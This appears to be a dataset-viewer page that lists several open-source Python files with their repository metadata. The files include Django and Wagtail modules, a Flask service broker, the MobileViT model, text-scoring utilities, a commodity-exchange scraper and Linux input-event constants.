PatrickHaller/the-stack-python-100k · Datasets at Hugging Face

1ec3d3afdc62f7fedb3c502ecf2fe5c80ab5e4b3

1,188

py

Python

django/core/mail/backends/console.py

dolfly/django

a971d19bab9bfc33d301669b319b4766bf6d94f6

[ "BSD-3-Clause" ]

1

2015-11-08T11:42:08.000Z

django/core/mail/backends/console.py

dolfly/django

a971d19bab9bfc33d301669b319b4766bf6d94f6

[ "BSD-3-Clause" ]

null

django/core/mail/backends/console.py

dolfly/django

a971d19bab9bfc33d301669b319b4766bf6d94f6

[ "BSD-3-Clause" ]

null

""" Email backend that writes messages to console instead of sending them. """ import sys import threading from django.core.mail.backends.base import BaseEmailBackend class EmailBackend(BaseEmailBackend): def __init__(self, *args, **kwargs): self.stream = kwargs.pop('stream', sys.stdout) self._lock = threading.RLock() super(EmailBackend, self).__init__(*args, **kwargs) def send_messages(self, email_messages): """Write all messages to the stream in a thread-safe way.""" if not email_messages: return msg_count = 0 with self._lock: try: stream_created = self.open() for message in email_messages: self.stream.write('%s\n' % message.message().as_string()) self.stream.write('-' * 79) self.stream.write('\n') self.stream.flush() # flush after each message msg_count += 1 if stream_created: self.close() except Exception: if not self.fail_silently: raise return msg_count

33.942857

77

0.560606

eb1a86266b924f8cd14adae3a02e5e1e0686e9f6

1,071

py

Python

questionnaires/migrations/0018_auto_20210929_1126.py

ChrisMarsh82/iogt

8141421a79b73bd038880a3be92fa6809adced13

[ "BSD-2-Clause" ]

20

2021-04-29T12:36:25.000Z

2022-03-27T12:17:41.000Z

questionnaires/migrations/0018_auto_20210929_1126.py

ChrisMarsh82/iogt

8141421a79b73bd038880a3be92fa6809adced13

[ "BSD-2-Clause" ]

892

2021-02-02T13:56:06.000Z

2022-03-31T11:25:44.000Z

questionnaires/migrations/0018_auto_20210929_1126.py

ChrisMarsh82/iogt

8141421a79b73bd038880a3be92fa6809adced13

[ "BSD-2-Clause" ]

28

2021-02-19T19:28:37.000Z

2022-03-11T11:46:00.000Z

# Generated by Django 3.1.13 on 2021-09-29 11:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('questionnaires', '0017_auto_20210901_1844'), ] operations = [ migrations.AlterField( model_name='pollformfield', name='clean_name', field=models.TextField(blank=True, default='', help_text='Safe name of the form field, the label converted to ascii_snake_case', verbose_name='name'), ), migrations.AlterField( model_name='quizformfield', name='clean_name', field=models.TextField(blank=True, default='', help_text='Safe name of the form field, the label converted to ascii_snake_case', verbose_name='name'), ), migrations.AlterField( model_name='surveyformfield', name='clean_name', field=models.TextField(blank=True, default='', help_text='Safe name of the form field, the label converted to ascii_snake_case', verbose_name='name'), ), ]

36.931034

162

0.64239

a747a03155804de39e8e01967d7213cc35d8297e

2,702

py

Python

wagtail/wagtailredirects/models.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

null

wagtail/wagtailredirects/models.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

null

wagtail/wagtailredirects/models.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

null

from __future__ import unicode_literals from django.db import models from django.utils.six.moves.urllib.parse import urlparse from django.utils.translation import ugettext_lazy as _ class Redirect(models.Model): old_path = models.CharField(verbose_name=_("redirect from"), max_length=255, db_index=True) site = models.ForeignKey( 'wagtailcore.Site', verbose_name=_('site'), null=True, blank=True, related_name='redirects', db_index=True ) is_permanent = models.BooleanField(verbose_name=_("permanent"), default=True, help_text=_( "Recommended. Permanent redirects ensure search engines " "forget the old page (the 'Redirect from') and index the new page instead." )) redirect_page = models.ForeignKey('wagtailcore.Page', verbose_name=_("redirect to a page"), null=True, blank=True) redirect_link = models.URLField(verbose_name=_("redirect to any URL"), blank=True) @property def title(self): return self.old_path @property def link(self): if self.redirect_page: return self.redirect_page.url else: return self.redirect_link def get_is_permanent_display(self): if self.is_permanent: return "permanent" else: return "temporary" @classmethod def get_for_site(cls, site=None): if site: return cls.objects.filter(models.Q(site=site) | models.Q(site=None)) else: return cls.objects.all() @staticmethod def normalise_path(url): # Strip whitespace url = url.strip() # Parse url url_parsed = urlparse(url) # Path must start with / but not end with / path = url_parsed[2] if not path.startswith('/'): path = '/' + path if path.endswith('/'): path = path[:-1] # Parameters must be sorted alphabetically parameters = url_parsed[3] parameters_components = parameters.split(';') parameters = ';'.join(sorted(parameters_components)) # Query string components must be sorted alphabetically query_string = url_parsed[4] query_string_components = query_string.split('&') query_string = '&'.join(sorted(query_string_components)) if parameters: path = path + ';' + parameters # Add query string to path if query_string: path = path + '?' + query_string return path def clean(self): # Normalise old path self.old_path = Redirect.normalise_path(self.old_path) class Meta: verbose_name = _('redirect') unique_together = [('old_path', 'site')]

31.418605

118

0.633605

fab083cb35c21a17c51c7e72f52eb1d0f8db5ad2

3,397

py

Python

server.py

Dew-bench/service-broker

5f4de5ae92a46ef285ef4e58e2fd9744aca72ff2

[ "Unlicense" ]

null

server.py

Dew-bench/service-broker

5f4de5ae92a46ef285ef4e58e2fd9744aca72ff2

[ "Unlicense" ]

null

server.py

Dew-bench/service-broker

5f4de5ae92a46ef285ef4e58e2fd9744aca72ff2

[ "Unlicense" ]

null

from flask import Flask, request import socket import json import requests app = Flask(__name__) CONSUMERS = {} PROVIDERS = {} SERVICES = {} PROVIDER_SETTINGS = {} # TODO PROVIDER_URL = "" ###################################### @app.route('/') def hello_world(): return 'Service broker' @app.route('/api/ip') def get_ip(): h_name = socket.gethostname() IP_addres = socket.gethostbyname(h_name) return json.dumps({ "host_name": h_name, "ip": IP_addres }) ###################################### # @app.route('/api/consumer/register', methods=['POST', 'PUT']) # def add_device(): # data = request.get_json() # CONSUMERS[data['url']] = data # return "ok" # @app.route('/api/consumer/unregister', methods=['POST', 'PUT']) # def remove_device(): # data = request.get_json() # CONSUMERS.pop(data['url']) # return "ok" # @app.route('/api/consumer/list', methods=['GET']) # def list_device(): # return json.dumps(CONSUMERS) ###################################### # @app.route('/api/provider/register', methods=['POST', 'PUT']) # def add_device(): # data = request.get_json() # PROVIDERS[data['url']] = data # return "ok" # @app.route('/api/provider/unregister', methods=['POST', 'PUT']) # def remove_device(): # data = request.get_json() # PROVIDERS.pop(data['url']) # return "ok" # @app.route('/api/provider/list', methods=['GET']) # def list_device(): # return json.dumps(PROVIDERS) ###################################### @app.route('/api/provider/register', methods=['POST', 'PUT']) def add_device(): data = request.get_json() global PROVIDER_URL PROVIDER_URL = data['url'] return "ok" @app.route('/api/provider/list', methods=['GET']) def list_device(): return json.dumps(PROVIDER_URL) ###################################### @app.route('/api/service/request', methods=['POST', 'PUT']) def add_depl(): data = request.get_json() print(data) try: r = requests.put("{}/api/service/add".format(PROVIDER_URL), json=data) print(r.content) except: print("exception") # SERVICES[data['id']] = data return "ok" @app.route('/api/service/remove', methods=['POST', 'PUT']) def remove_depl(): data = request.get_json() try: print(data) r = requests.put("{}/api/service/remove".format(PROVIDER_URL), json=data) print(r.content) except: print("exception") # SERVICES.pop(data['id']) return "ok" @app.route('/api/service/url', methods=['POST', 'PUT']) def url_depl(): data = request.get_json() try: print(data) r = requests.put("{}/api/service/url".format(PROVIDER_URL), json=data) print(r.content) except: print("exception") # SERVICES.pop(data['id']) return r @app.route('/api/service/list', methods=['GET']) def list_depl(): return json.dumps(SERVICES) # ###################################### # @app.route('/api/provider/settings', methods=['POST', 'PUT']) # def add_broker(): # data = request.get_json() # PROVIDER_SETTINGS[data['id']] = data # return "ok" # @app.route('/api/provider/list/settings', methods=['GET']) # def list_brokers(): # return json.dumps(BROKERS) # ###################################### if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)

24.264286

81

0.564616

afce703cfdcd5c911f2e36badc9f0a58dcb97c77

10,133

py

Python

cvnets/models/classification/mobilevit.py

apple/ml-cvnets

84d992f413e52c0468f86d23196efd9dad885e6f

[ "AML" ]

209

2021-10-30T08:32:10.000Z

2022-03-31T16:18:03.000Z

cvnets/models/classification/mobilevit.py

apple/ml-cvnets

84d992f413e52c0468f86d23196efd9dad885e6f

[ "AML" ]

12

2021-12-04T10:47:11.000Z

2022-03-31T15:39:40.000Z

cvnets/models/classification/mobilevit.py

apple/ml-cvnets

84d992f413e52c0468f86d23196efd9dad885e6f

[ "AML" ]

50

2021-11-01T08:15:02.000Z

2022-03-29T08:17:34.000Z

# # For licensing see accompanying LICENSE file. # Copyright (C) 2022 Apple Inc. All Rights Reserved. # from torch import nn import argparse from typing import Dict, Tuple, Optional from utils import logger from . import register_cls_models from .base_cls import BaseEncoder from .config.mobilevit import get_configuration from ...layers import ConvLayer, LinearLayer, GlobalPool, Dropout, SeparableConv from ...modules import InvertedResidual, MobileViTBlock @register_cls_models("mobilevit") class MobileViT(BaseEncoder): """ This class implements the `MobileViT architecture <https://arxiv.org/abs/2110.02178?context=cs.LG>`_ """ def __init__(self, opts, *args, **kwargs) -> None: num_classes = getattr(opts, "model.classification.n_classes", 1000) classifier_dropout = getattr( opts, "model.classification.classifier_dropout", 0.0 ) pool_type = getattr(opts, "model.layer.global_pool", "mean") image_channels = 3 out_channels = 16 mobilevit_config = get_configuration(opts=opts) super().__init__(*args, **kwargs) # store model configuration in a dictionary self.model_conf_dict = dict() self.conv_1 = ConvLayer( opts=opts, in_channels=image_channels, out_channels=out_channels, kernel_size=3, stride=2, use_norm=True, use_act=True, ) self.model_conf_dict["conv1"] = {"in": image_channels, "out": out_channels} in_channels = out_channels self.layer_1, out_channels = self._make_layer( opts=opts, input_channel=in_channels, cfg=mobilevit_config["layer1"] ) self.model_conf_dict["layer1"] = {"in": in_channels, "out": out_channels} in_channels = out_channels self.layer_2, out_channels = self._make_layer( opts=opts, input_channel=in_channels, cfg=mobilevit_config["layer2"] ) self.model_conf_dict["layer2"] = {"in": in_channels, "out": out_channels} in_channels = out_channels self.layer_3, out_channels = self._make_layer( opts=opts, input_channel=in_channels, cfg=mobilevit_config["layer3"] ) self.model_conf_dict["layer3"] = {"in": in_channels, "out": out_channels} in_channels = out_channels self.layer_4, out_channels = self._make_layer( opts=opts, input_channel=in_channels, cfg=mobilevit_config["layer4"], dilate=self.dilate_l4, ) self.model_conf_dict["layer4"] = {"in": in_channels, "out": out_channels} in_channels = out_channels self.layer_5, out_channels = self._make_layer( opts=opts, input_channel=in_channels, cfg=mobilevit_config["layer5"], dilate=self.dilate_l5, ) self.model_conf_dict["layer5"] = {"in": in_channels, "out": out_channels} in_channels = out_channels exp_channels = min(mobilevit_config["last_layer_exp_factor"] * in_channels, 960) self.conv_1x1_exp = ConvLayer( opts=opts, in_channels=in_channels, out_channels=exp_channels, kernel_size=1, stride=1, use_act=True, use_norm=True, ) self.model_conf_dict["exp_before_cls"] = { "in": in_channels, "out": exp_channels, } self.classifier = nn.Sequential() self.classifier.add_module( name="global_pool", module=GlobalPool(pool_type=pool_type, keep_dim=False) ) if 0.0 < classifier_dropout < 1.0: self.classifier.add_module( name="dropout", module=Dropout(p=classifier_dropout, inplace=True) ) self.classifier.add_module( name="fc", module=LinearLayer( in_features=exp_channels, out_features=num_classes, bias=True ), ) # check model self.check_model() # weight initialization self.reset_parameters(opts=opts) @classmethod def add_arguments(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser: group = parser.add_argument_group( title="".format(cls.__name__), description="".format(cls.__name__) ) group.add_argument( "--model.classification.mit.mode", type=str, default="small", choices=["xx_small", "x_small", "small"], help="MobileViT mode. Defaults to small", ) group.add_argument( "--model.classification.mit.attn-dropout", type=float, default=0.0, help="Dropout in attention layer. Defaults to 0.0", ) group.add_argument( "--model.classification.mit.ffn-dropout", type=float, default=0.0, help="Dropout between FFN layers. Defaults to 0.0", ) group.add_argument( "--model.classification.mit.dropout", type=float, default=0.0, help="Dropout in Transformer layer. Defaults to 0.0", ) group.add_argument( "--model.classification.mit.transformer-norm-layer", type=str, default="layer_norm", help="Normalization layer in transformer. Defaults to LayerNorm", ) group.add_argument( "--model.classification.mit.no-fuse-local-global-features", action="store_true", help="Do not combine local and global features in MobileViT block", ) group.add_argument( "--model.classification.mit.conv-kernel-size", type=int, default=3, help="Kernel size of Conv layers in MobileViT block", ) group.add_argument( "--model.classification.mit.head-dim", type=int, default=None, help="Head dimension in transformer", ) group.add_argument( "--model.classification.mit.number-heads", type=int, default=None, help="Number of heads in transformer", ) return parser def _make_layer( self, opts, input_channel, cfg: Dict, dilate: Optional[bool] = False, *args, **kwargs ) -> Tuple[nn.Sequential, int]: block_type = cfg.get("block_type", "mobilevit") if block_type.lower() == "mobilevit": return self._make_mit_layer( opts=opts, input_channel=input_channel, cfg=cfg, dilate=dilate ) else: return self._make_mobilenet_layer( opts=opts, input_channel=input_channel, cfg=cfg ) @staticmethod def _make_mobilenet_layer( opts, input_channel: int, cfg: Dict, *args, **kwargs ) -> Tuple[nn.Sequential, int]: output_channels = cfg.get("out_channels") num_blocks = cfg.get("num_blocks", 2) expand_ratio = cfg.get("expand_ratio", 4) block = [] for i in range(num_blocks): stride = cfg.get("stride", 1) if i == 0 else 1 layer = InvertedResidual( opts=opts, in_channels=input_channel, out_channels=output_channels, stride=stride, expand_ratio=expand_ratio, ) block.append(layer) input_channel = output_channels return nn.Sequential(*block), input_channel def _make_mit_layer( self, opts, input_channel, cfg: Dict, dilate: Optional[bool] = False, *args, **kwargs ) -> Tuple[nn.Sequential, int]: prev_dilation = self.dilation block = [] stride = cfg.get("stride", 1) if stride == 2: if dilate: self.dilation *= 2 stride = 1 layer = InvertedResidual( opts=opts, in_channels=input_channel, out_channels=cfg.get("out_channels"), stride=stride, expand_ratio=cfg.get("mv_expand_ratio", 4), dilation=prev_dilation, ) block.append(layer) input_channel = cfg.get("out_channels") head_dim = cfg.get("head_dim", 32) transformer_dim = cfg["transformer_channels"] ffn_dim = cfg.get("ffn_dim") if head_dim is None: num_heads = cfg.get("num_heads", 4) if num_heads is None: num_heads = 4 head_dim = transformer_dim // num_heads if transformer_dim % head_dim != 0: logger.error( "Transformer input dimension should be divisible by head dimension. " "Got {} and {}.".format(transformer_dim, head_dim) ) block.append( MobileViTBlock( opts=opts, in_channels=input_channel, transformer_dim=transformer_dim, ffn_dim=ffn_dim, n_transformer_blocks=cfg.get("transformer_blocks", 1), patch_h=cfg.get("patch_h", 2), patch_w=cfg.get("patch_w", 2), dropout=getattr(opts, "model.classification.mit.dropout", 0.1), ffn_dropout=getattr(opts, "model.classification.mit.ffn_dropout", 0.0), attn_dropout=getattr( opts, "model.classification.mit.attn_dropout", 0.1 ), head_dim=head_dim, no_fusion=getattr( opts, "model.classification.mit.no_fuse_local_global_features", False, ), conv_ksize=getattr( opts, "model.classification.mit.conv_kernel_size", 3 ), ) ) return nn.Sequential(*block), input_channel

33.442244

104

0.566861

44f2ce8a09c1728070aee4416554f8de70a92af9

2,161

py

Python

src/models/CCIG/data/sentence_score.py

stillyuyi/ArticlePairMatching

f9cf63ad4c398d377f3d0291f552fb99f81020ef

[ "BSD-3-Clause" ]

227

2019-05-22T14:10:55.000Z

2022-03-31T07:39:31.000Z

src/models/CCIG/data/sentence_score.py

stillyuyi/ArticlePairMatching

f9cf63ad4c398d377f3d0291f552fb99f81020ef

[ "BSD-3-Clause" ]

35

2019-06-18T07:39:28.000Z

2021-11-19T03:51:07.000Z

src/models/CCIG/data/sentence_score.py

stillyuyi/ArticlePairMatching

f9cf63ad4c398d377f3d0291f552fb99f81020ef

[ "BSD-3-Clause" ]

62

2019-06-14T07:10:30.000Z

2022-02-04T19:59:32.000Z

# coding=utf-8 """ This file contains functions that assign a sentence in a document a weight score. """ import math from sklearn.feature_extraction.text import TfidfTransformer, CountVectorizer import networkx as nx from config import * from util.tfidf_utils import * def tfidf(sentence, idf_dict): tfidf_dict = gen_tf(sentence, idf_dict) weight = sum(tfidf_dict.values()) return weight def num_ner(sentence, ners): return len(set(str(sentence).split()).intersection(set(ners))) def contain_number(sentence): if any(char.isdigit() for char in sentence): return 1.0 else: return 0.0 def score_sentence_length(sentence): return len(str(sentence).split()) def score_sentence_position(paragraph_idx, sentence_idx, alpha, beta): return math.exp(-alpha * paragraph_idx) * math.exp(-beta * sentence_idx) def resemblance_to_title(sentence, title): str1 = set(str(sentence).split()) str2 = set(str(title).split()) if len(str1) == 0 or len(str2) == 0: return 0.0 return float(len(str1 & str2)) / len(str2) def textrank(sentences): """ Given input text, split sentences and calc text rank score. :param sentences: input sentence list :return: a dictionary of (sentence index, sentence score) """ bow_matrix = CountVectorizer().fit_transform(sentences) normalized = TfidfTransformer().fit_transform(bow_matrix) similarity_graph = normalized * normalized.T nx_graph = nx.from_scipy_sparse_matrix(similarity_graph) scores = nx.pagerank(nx_graph) return dict(((i, scores[i]) for i, s in enumerate(sentences))) if __name__ == "__main__": sentence = "中国人民 1" title = "中国和人民" ner = ["中国"] # print num_ner(sentence, ner) # print contain_number(sentence) # print score_sentence_length(sentence) # print score_sentence_position(1, 1, 1, 1) # print resemblance_to_title(sentence, title) # ALPHA = 0.1 # BETA = 0.3 # idxs1 = [0, 1, 2] # print [score_sentence_position(0, s_idx1, ALPHA, BETA) for s_idx1 in idxs1] # print sum([score_sentence_position(0, s_idx1, ALPHA, BETA) for s_idx1 in idxs1])

29.202703

86

0.694586

ac982cf60c36562419f704f3048b6ed47dc24e14

3,655

py

Python

Market/market_DL.py

Alan-Du/Commodity_Tracker

fc7d4c92535424be7dc82f47dd513332b4b772c9

[ "Unlicense" ]

1

2020-04-12T22:32:01.000Z

Market/market_DL.py

Alan-Du/Commodity_Tracker

fc7d4c92535424be7dc82f47dd513332b4b772c9

[ "Unlicense" ]

null

Market/market_DL.py

Alan-Du/Commodity_Tracker

fc7d4c92535424be7dc82f47dd513332b4b772c9

[ "Unlicense" ]

1

2021-06-11T09:19:12.000Z

""" Created on Sun Sep 22 08:24:36 2019 @author: shaolun du @contact: Shaolun.du@gmail.com Structure outline: HTML page with pandas read html parser """ import requests import pandas as pd from Market.exc_parser import exc_parser from Market.gen_process_params import gen_proc_params class DL_parser(exc_parser): """ Shanghai exchange parser """ def __init__( self ): self.__col_names = ["Dates","Code","Open","High","Low","Close","OPI","Vol"] self.__exc_name = "DL" self.__URL_TEMPL = "http://www.dce.com.cn/publicweb/quotesdata/dayQuotesCh.html" self.__headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'JSESSIONID=34581314E8E6F047ABE7D22180DCE3A2; WMONID=-b8uBX4vHDi; Hm_lvt_a50228174de2a93aee654389576b60fb=1567732473,1568333912,1568936184,1569113640; Hm_lpvt_a50228174de2a93aee654389576b60fb=1569113660', 'Referer': 'http://www.dce.com.cn/publicweb/quotesdata/dayQuotesCh.html', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36' } self.__payload = { 'dayQuotes.variety': 'all', 'dayQuotes.trade_type': '0', 'year': 0, 'month':0, 'day': 0, } self.__name_map = {"豆一":"a","豆二":"b","乙二醇":"eg","焦煤":"jm","焦炭":"j", "铁矿石":"i","聚氯乙烯":"pvc","聚丙烯":"pp","聚乙烯":"pe","豆粕":"m", "豆油":"y","棕榈油":"p","鸡蛋":"jd","玉米淀粉":"cs","玉米":"c"} self.__datas = [] def _get_URL_TEMP(self): # update exchange url return self.__URL_TEMPL def _read_html_format(self,page,dates): df = pd.read_html(page,skiprows=0)[0] df.iloc[:,0] = df.iloc[:,0].map(self.__name_map) df = df.dropna() df["Dates"] = str(dates[0])+"{:02d}".format(dates[1]+1)+"{:02d}".format(dates[2]) df["Code"] = df.iloc[:,0]+df.iloc[:,1].astype(int).astype(str) df["Open"] = df.iloc[:,2] df["High"] = df.iloc[:,3] df["Low"] = df.iloc[:,4] df["Close"] = df.iloc[:,5] df["OPI"] = df.iloc[:,11] df["Vol"] = df.iloc[:,10] df = df[["Dates","Code","Open","High","Low","Close","OPI","Vol"]] return df def _download(self,sdate,edate): print("Exchange DL--->") # Start downloading given period dates_li = gen_proc_params(self.__exc_name,sdate,edate) ans = pd.DataFrame() with requests.Session() as s: # Open request session for dates in dates_li: print(dates) self.__payload['year'] = dates[0] self.__payload['month'] = dates[1] self.__payload['day'] = dates[2] page = s.post( self.__URL_TEMPL, data=self.__payload, headers=self.__headers).text try: df = self._read_html_format(page,dates) except: continue ans = ans.append(df) self.__datas = ans def _get_data_df(self): # Convert output format self.__datas = self.__datas.dropna() self.__datas["Dates"] = pd.to_datetime(self.__datas["Dates"]).dt.date self.__datas = self.__datas.set_index("Dates") self.__datas["Code"] = self.__datas["Code"].astype(str) return self.__datas

46.265823

244

0.533242

d789521bd0d81779168834374e73aaa5d9121452

1,991

py

Python

videoanalyst/data/dataset/dataset_impl/trackingnet.py

yutliu/betterSAT

fb983f43b12352f9ee6ae40b4e0954f6ba502fb8

[ "MIT" ]

2

2020-07-30T08:26:08.000Z

2020-11-24T07:40:46.000Z

videoanalyst/data/dataset/dataset_impl/trackingnet.py

shartoo/video_analyst

db7c1b323f26ec19533a4b19804cf2c8a52643e5

[ "MIT" ]

null

videoanalyst/data/dataset/dataset_impl/trackingnet.py

shartoo/video_analyst

db7c1b323f26ec19533a4b19804cf2c8a52643e5

[ "MIT" ]

null

# -*- coding: utf-8 -*- import os.path as osp from typing import Dict import cv2 import numpy as np from loguru import logger from yacs.config import CfgNode from videoanalyst.data.dataset.dataset_base import TRACK_DATASETS, DatasetBase from videoanalyst.evaluation.got_benchmark.datasets import TrackingNet from videoanalyst.pipeline.utils.bbox import xywh2xyxy _current_dir = osp.dirname(osp.realpath(__file__)) @TRACK_DATASETS.register class TrackingNetDataset(DatasetBase): r""" ILSVRC2015-VID dataset helper Hyper-parameters ---------------- dataset_root: str path to root of the dataset subset: str dataset split name (train|val|train_val) ratio: float dataset ratio. used by sampler (data.sampler). max_diff: int maximum difference in index of a pair of sampled frames check_integrity: bool if check integrity of dataset or not """ default_hyper_params = dict( dataset_root="datasets/TrackingNet", subset="train", ratio=1.0, max_diff=100, check_integrity=True, ) def __init__(self) -> None: super(TrackingNetDataset, self).__init__() self._state["dataset"] = None def update_params(self): r""" an interface for update params """ dataset_root = osp.realpath(self._hyper_params["dataset_root"]) subset = self._hyper_params["subset"] check_integrity = self._hyper_params["check_integrity"] cache_dir = osp.join(dataset_root, "cache/vid") self._state["dataset"] = TrackingNet( dataset_root, subset=subset, # cache_dir=cache_dir, ) def __getitem__(self, item: int) -> Dict: img_files, anno = self._state["dataset"][item] anno = xywh2xyxy(anno) sequence_data = dict(image=img_files, anno=anno) return sequence_data def __len__(self): return len(self._state["dataset"])

28.442857

78

0.657459

a2a5c572ace96a2050c5e738be099b29e5352570

18,473

py

Python

core/pycopia/OS/Linux/event.py

kdart/pycopia3

8a7c820f096245411eabbb72345e4f30a35988b6

[ "Apache-2.0" ]

3

2018-11-26T15:00:20.000Z

2022-01-28T23:17:58.000Z

core/pycopia/OS/Linux/event.py

kdart/pycopia3

8a7c820f096245411eabbb72345e4f30a35988b6

[ "Apache-2.0" ]

null

core/pycopia/OS/Linux/event.py

kdart/pycopia3

8a7c820f096245411eabbb72345e4f30a35988b6

[ "Apache-2.0" ]

1

2018-11-26T15:00:21.000Z

#!/usr/bin/python3.4 # vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Interface to produce Linux event stream from ascii data. """ from pycopia.fsm import FSM from pycopia import ascii from pycopia.OS import scheduler # meta modifiers for tables SHIFT = 0x200 ALT = 0x400 META = 0x800 COMPOSE = 0x1000 # from <linux/input.h> # * Event types EV_SYN = 0x00 EV_KEY = 0x01 EV_REL = 0x02 EV_ABS = 0x03 EV_MSC = 0x04 EV_SW = 0x05 EV_LED = 0x11 EV_SND = 0x12 EV_REP = 0x14 EV_FF = 0x15 EV_PWR = 0x16 EV_FF_STATUS = 0x17 EV_MAX = 0x1f # * Synchronization events. SYN_REPORT = 0 SYN_CONFIG = 1 # * Keys and buttons KEY_RESERVED = 0 KEY_ESC = 1 KEY_1 = 2 KEY_2 = 3 KEY_3 = 4 KEY_4 = 5 KEY_5 = 6 KEY_6 = 7 KEY_7 = 8 KEY_8 = 9 KEY_9 = 10 KEY_0 = 11 KEY_MINUS = 12 KEY_EQUAL = 13 KEY_BACKSPACE = 14 KEY_TAB = 15 KEY_Q = 16 KEY_W = 17 KEY_E = 18 KEY_R = 19 KEY_T = 20 KEY_Y = 21 KEY_U = 22 KEY_I = 23 KEY_O = 24 KEY_P = 25 KEY_LEFTBRACE = 26 KEY_RIGHTBRACE = 27 KEY_ENTER = 28 KEY_LEFTCTRL = 29 KEY_A = 30 KEY_S = 31 KEY_D = 32 KEY_F = 33 KEY_G = 34 KEY_H = 35 KEY_J = 36 KEY_K = 37 KEY_L = 38 KEY_SEMICOLON = 39 KEY_APOSTROPHE = 40 KEY_GRAVE = 41 KEY_LEFTSHIFT = 42 KEY_BACKSLASH = 43 KEY_Z = 44 KEY_X = 45 KEY_C = 46 KEY_V = 47 KEY_B = 48 KEY_N = 49 KEY_M = 50 KEY_COMMA = 51 KEY_DOT = 52 KEY_SLASH = 53 KEY_RIGHTSHIFT = 54 KEY_KPASTERISK = 55 KEY_LEFTALT = 56 KEY_SPACE = 57 KEY_CAPSLOCK = 58 KEY_F1 = 59 KEY_F2 = 60 KEY_F3 = 61 KEY_F4 = 62 KEY_F5 = 63 KEY_F6 = 64 KEY_F7 = 65 KEY_F8 = 66 KEY_F9 = 67 KEY_F10 = 68 KEY_NUMLOCK = 69 KEY_SCROLLLOCK = 70 KEY_KP7 = 71 KEY_KP8 = 72 KEY_KP9 = 73 KEY_KPMINUS = 74 KEY_KP4 = 75 KEY_KP5 = 76 KEY_KP6 = 77 KEY_KPPLUS = 78 KEY_KP1 = 79 KEY_KP2 = 80 KEY_KP3 = 81 KEY_KP0 = 82 KEY_KPDOT = 83 KEY_103RD = 84 KEY_ZENKAKUHANKAKU = 85 KEY_102ND = 86 KEY_F11 = 87 KEY_F12 = 88 KEY_RO = 89 KEY_KATAKANA = 90 KEY_HIRAGANA = 91 KEY_HENKAN = 92 KEY_KATAKANAHIRAGANA = 93 KEY_MUHENKAN = 94 KEY_KPJPCOMMA = 95 KEY_KPENTER = 96 KEY_RIGHTCTRL = 97 KEY_KPSLASH = 98 KEY_SYSRQ = 99 KEY_RIGHTALT = 100 KEY_LINEFEED = 101 KEY_HOME = 102 KEY_UP = 103 KEY_PAGEUP = 104 KEY_LEFT = 105 KEY_RIGHT = 106 KEY_END = 107 KEY_DOWN = 108 KEY_PAGEDOWN = 109 KEY_INSERT = 110 KEY_DELETE = 111 KEY_MACRO = 112 KEY_MUTE = 113 KEY_VOLUMEDOWN = 114 KEY_VOLUMEUP = 115 KEY_POWER = 116 KEY_KPEQUAL = 117 KEY_KPPLUSMINUS = 118 KEY_PAUSE = 119 KEY_KPCOMMA = 121 KEY_HANGUEL = 122 KEY_HANJA = 123 KEY_YEN = 124 KEY_LEFTMETA = 125 KEY_RIGHTMETA = 126 KEY_COMPOSE = 127 KEY_STOP = 128 KEY_AGAIN = 129 KEY_PROPS = 130 KEY_UNDO = 131 KEY_FRONT = 132 KEY_COPY = 133 KEY_OPEN = 134 KEY_PASTE = 135 KEY_FIND = 136 KEY_CUT = 137 KEY_HELP = 138 KEY_MENU = 139 KEY_CALC = 140 KEY_SETUP = 141 KEY_SLEEP = 142 KEY_WAKEUP = 143 KEY_FILE = 144 KEY_SENDFILE = 145 KEY_DELETEFILE = 146 KEY_XFER = 147 KEY_PROG1 = 148 KEY_PROG2 = 149 KEY_WWW = 150 KEY_MSDOS = 151 KEY_COFFEE = 152 KEY_DIRECTION = 153 KEY_CYCLEWINDOWS = 154 KEY_MAIL = 155 KEY_BOOKMARKS = 156 KEY_COMPUTER = 157 KEY_BACK = 158 KEY_FORWARD = 159 KEY_CLOSECD = 160 KEY_EJECTCD = 161 KEY_EJECTCLOSECD = 162 KEY_NEXTSONG = 163 KEY_PLAYPAUSE = 164 KEY_PREVIOUSSONG = 165 KEY_STOPCD = 166 KEY_RECORD = 167 KEY_REWIND = 168 KEY_PHONE = 169 KEY_ISO = 170 KEY_CONFIG = 171 KEY_HOMEPAGE = 172 KEY_REFRESH = 173 KEY_EXIT = 174 KEY_MOVE = 175 KEY_EDIT = 176 KEY_SCROLLUP = 177 KEY_SCROLLDOWN = 178 KEY_KPLEFTPAREN = 179 KEY_KPRIGHTPAREN = 180 KEY_F13 = 183 KEY_F14 = 184 KEY_F15 = 185 KEY_F16 = 186 KEY_F17 = 187 KEY_F18 = 188 KEY_F19 = 189 KEY_F20 = 190 KEY_F21 = 191 KEY_F22 = 192 KEY_F23 = 193 KEY_F24 = 194 KEY_PLAYCD = 200 KEY_PAUSECD = 201 KEY_PROG3 = 202 KEY_PROG4 = 203 KEY_SUSPEND = 205 KEY_CLOSE = 206 KEY_PLAY = 207 KEY_FASTFORWARD = 208 KEY_BASSBOOST = 209 KEY_PRINT = 210 KEY_HP = 211 KEY_CAMERA = 212 KEY_SOUND = 213 KEY_QUESTION = 214 KEY_EMAIL = 215 KEY_CHAT = 216 KEY_SEARCH = 217 KEY_CONNECT = 218 KEY_FINANCE = 219 KEY_SPORT = 220 KEY_SHOP = 221 KEY_ALTERASE = 222 KEY_CANCEL = 223 KEY_BRIGHTNESSDOWN = 224 